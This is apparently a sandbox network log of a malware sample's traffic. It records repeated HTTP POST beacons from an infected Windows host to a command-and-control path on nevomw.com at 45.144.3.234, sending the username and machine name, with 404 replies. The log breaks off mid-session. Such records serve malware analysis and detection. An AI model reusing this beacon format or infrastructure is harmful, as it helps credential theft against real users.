Dec 2, 2020 11:53:11.948579073 CET	219	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:12.003648996 CET	219	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:12.076914072 CET	220	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.6	49778	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:12.388055086 CET	281	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:12.440466881 CET	281	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:12.513309956 CET	281	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.6	49779	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:12.790592909 CET	283	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:12.842472076 CET	283	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:12.934709072 CET	290	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.6	49781	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:13.252512932 CET	374	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:13.304941893 CET	375	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:13.381217003 CET	382	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.6	49783	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:13.692641020 CET	411	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:13.746243000 CET	422	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:13.819813967 CET	434	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.6	49787	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:14.113854885 CET	482	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:14.166322947 CET	483	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:14.244582891 CET	491	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.6	49789	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:14.503417969 CET	555	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:14.555636883 CET	556	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:14.657265902 CET	565	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.6	49791	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:14.917886019 CET	645	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:14.981981039 CET	646	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:15.077527046 CET	648	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.6	49793	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:15.377621889 CET	833	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:15.432190895 CET	833	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:15.504591942 CET	835	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.6	49795	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:15.761208057 CET	846	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:15.813211918 CET	853	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:15.888012886 CET	855	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.6	49720	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:44.817785978 CET	69	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:44.872364044 CET	74	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:44.947917938 CET	77	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.6	49797	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:16.124828100 CET	1052	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:16.177397966 CET	1053	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:16.253380060 CET	1056	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.6	49799	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:16.497787952 CET	1094	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:16.550455093 CET	1101	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:16.625170946 CET	1121	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.6	49800	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:16.866136074 CET	1144	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:16.918363094 CET	1145	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:16.992594004 CET	1152	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.6	49802	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:17.243861914 CET	1185	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:17.297071934 CET	1186	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:17.372365952 CET	1186	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.6	49804	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:17.613940001 CET	1194	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:17.666379929 CET	1195	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:17.740863085 CET	1199	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.6	49805	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:18.048964024 CET	1201	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:18.101805925 CET	1201	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:18.175754070 CET	1202	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.6	49806	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:18.420409918 CET	1203	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:18.475081921 CET	1203	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:18.551269054 CET	1203	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.6	49807	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:18.793375015 CET	1204	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:18.845614910 CET	1204	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:18.923599005 CET	1205	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.6	49809	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:19.339299917 CET	1211	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:19.393095016 CET	1214	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:19.473929882 CET	1214	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.6	49810	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:19.713181019 CET	1219	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:19.767334938 CET	1219	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
